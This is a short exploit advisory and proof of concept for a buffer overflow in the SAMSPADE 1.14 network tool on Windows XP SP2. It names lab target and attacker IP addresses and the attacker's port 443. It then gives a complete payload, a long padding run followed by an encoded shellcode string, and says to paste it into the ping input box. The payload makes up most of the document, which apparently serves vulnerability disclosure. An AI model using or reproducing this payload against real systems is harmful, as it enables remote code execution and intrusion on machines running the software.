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SAMSPADE BUFFER OVERFLOW VULNERABILITY

  1. # Exploit Title: SAMSPADE 1.14 BUFFER OVERFLOW
  2. # Date: 10-12-2013
  3. # Exploit Author: VISHAL MISHRA & NIDHI VERMA
  4. # Vendor Homepage: http://www.samspade.org/
  5. # Software Link: http://www.majorgeeks.com/mg/getmirror/sam_spade,1.html
  6. # Version: 1.1.4 (beta)
  7. # Tested on: WINDOWS XP(sp2)
  8. TARGET: windows xp(sp2) ip:192.168.117.129
  9. ATTACKER: backtrack     ip:192.168.117.131      PORT:443
  10. Payload: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAj4?wTYIITYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIIlXhMYGpGpEPQpMYM5EaXRE4LKRrP0LKRrVlLKCbEDLKQbQ8TOMgRjEvVQIoVQO0NLElPaQlVbVLQ0IQZoTMC1O7IrL0PRRwLKV2VpNkG2GLGqN0LKQPRXLEIPT4QZEQZpPPNkQXVxNkQHQ0C1ICZCGLQYLKVTNkC1XVTqIoEaO0LlO1XOTMEQXGTxM0CEZTGsQmZXEkQmGTQeIrV8LKChTdC1N3CVNkVlRkLKQHELVaN3LKC4LKC1N0OyRdQ4GTCkQKPaRyPZCaKOKPQHQOCjLKR2ZKMVQMQxEcTrEPEPCXRWRSP2QORtPhRlPwTfTGKOKeMhNpGqGpGpVIITCdRpPhQ9OpPkGpKON5PPRpV0V0CpV0CpRpRHXjVoIOM0IoZuLIIWQxKpOXQeOsPhTBGpC1MkMYM6QzR0QFCgQxOiLePtCQIoN5QxCSRMPdC0OyKSCgQGQGP1IfQzGbCiV6M2ImE6IWCtVDElVaVaLMQTVDR0O6EPRdV4V0RvPVPVRfCfPNRvPVRsRvQxCIXLEoLFKOIENiM0PNCfG6KOP0CXC8MWEMQpKOKeMkXpX5NBV6QxMvOeOMMMIoZuGLEVQlVjK0IkIpCEGuMkG7VsT2PoQzC0RsIoIEAA
  11. This vulnerability is in ping operation of the software.Just the payload in input box.
  12. VISHAL MISHRA
  13. http://inf0rmati0ns3curity.blogspot.in/
  14. http://instructionpointer.blogspot.in/
  15. http://vishal--mishra.blogspot.in/



Snapshots

SAMSPADE Buffer Overflow Vulnerability


Samspade Buffer overflow vulnerability POC

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